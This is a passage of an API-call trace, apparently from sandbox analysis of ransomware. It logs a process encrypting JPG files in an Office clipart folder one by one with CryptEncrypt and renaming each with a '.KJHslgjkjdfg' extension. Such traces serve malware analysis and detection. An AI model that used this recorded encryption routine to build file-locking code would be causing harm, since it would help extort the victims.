lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcb10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcb10, lpOverlapped=0x0) returned 1 [0202.470] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.470] SetEndOfFile (hFile=0x130) returned 1 [0202.473] GetProcessHeap () returned 0x990000 [0202.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.473] GetProcessHeap () returned 0x990000 [0202.473] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.kjhslgjkjdfg")) returned 1 [0202.540] CloseHandle (hObject=0x130) returned 1 [0202.540] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6cec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387578.JPG", cAlternateFileName="")) returned 1 [0202.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.542] GetProcessHeap () returned 0x990000 [0202.542] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.542] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.542] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.559] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.559] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.559] GetProcessHeap () returned 0x990000 [0202.559] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.559] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.559] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.559] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.559] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.559] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.559] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.559] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.559] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.560] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.560] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.560] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6cec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6cec, lpOverlapped=0x0) returned 1 [0202.568] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cf0, dwBufLen=0x6cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cf0) returned 1 [0202.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.568] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6cf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6cf0, lpOverlapped=0x0) returned 1 [0202.569] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.569] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.569] SetEndOfFile (hFile=0x130) returned 1 [0202.572] GetProcessHeap () returned 0x990000 [0202.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.572] GetProcessHeap () returned 0x990000 [0202.572] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.572] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.kjhslgjkjdfg")) returned 1 [0202.574] CloseHandle (hObject=0x130) returned 1 [0202.574] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387591.JPG", cAlternateFileName="")) returned 1 [0202.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.576] GetProcessHeap () returned 0x990000 [0202.576] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.576] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.577] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0202.653] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.653] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.653] GetProcessHeap () returned 0x990000 [0202.653] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.653] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.653] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.653] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.653] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.654] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.654] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.654] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.654] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.654] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.654] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x98c7, lpOverlapped=0x0) returned 1 [0202.661] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x98d0, dwBufLen=0x98d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x98d0) returned 1 [0202.662] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.662] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x98d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x98d0, lpOverlapped=0x0) returned 1 [0202.663] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x99a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.663] SetEndOfFile (hFile=0x130) returned 1 [0202.666] GetProcessHeap () returned 0x990000 [0202.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.666] GetProcessHeap () returned 0x990000 [0202.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.kjhslgjkjdfg")) returned 1 [0202.668] CloseHandle (hObject=0x130) returned 1 [0202.668] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0202.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.669] GetProcessHeap () returned 0x990000 [0202.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.669] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.669] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0202.679] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.679] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.679] GetProcessHeap () returned 0x990000 [0202.679] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.679] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.679] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.679] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.679] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.680] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.680] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.680] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.680] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.680] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.680] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb9bf, lpOverlapped=0x0) returned 1 [0202.704] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9c0, dwBufLen=0xb9c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9c0) returned 1 [0202.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.704] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb9c0, lpOverlapped=0x0) returned 1 [0202.705] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xba94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.705] SetEndOfFile (hFile=0x130) returned 1 [0202.708] GetProcessHeap () returned 0x990000 [0202.708] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.708] GetProcessHeap () returned 0x990000 [0202.708] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.kjhslgjkjdfg")) returned 1 [0202.710] CloseHandle (hObject=0x130) returned 1 [0202.710] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0202.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.711] GetProcessHeap () returned 0x990000 [0202.711] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.711] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.712] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.720] GetProcessHeap () returned 0x990000 [0202.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.720] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.721] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.721] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.721] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.721] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.721] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.721] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.721] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x98ec, lpOverlapped=0x0) returned 1 [0202.735] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x98f0, dwBufLen=0x98f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x98f0) returned 1 [0202.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.736] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x98f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x98f0, lpOverlapped=0x0) returned 1 [0202.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x99c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.736] SetEndOfFile (hFile=0x130) returned 1 [0202.739] GetProcessHeap () returned 0x990000 [0202.739] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.739] GetProcessHeap () returned 0x990000 [0202.739] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.kjhslgjkjdfg")) returned 1 [0202.741] CloseHandle (hObject=0x130) returned 1 [0202.741] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, 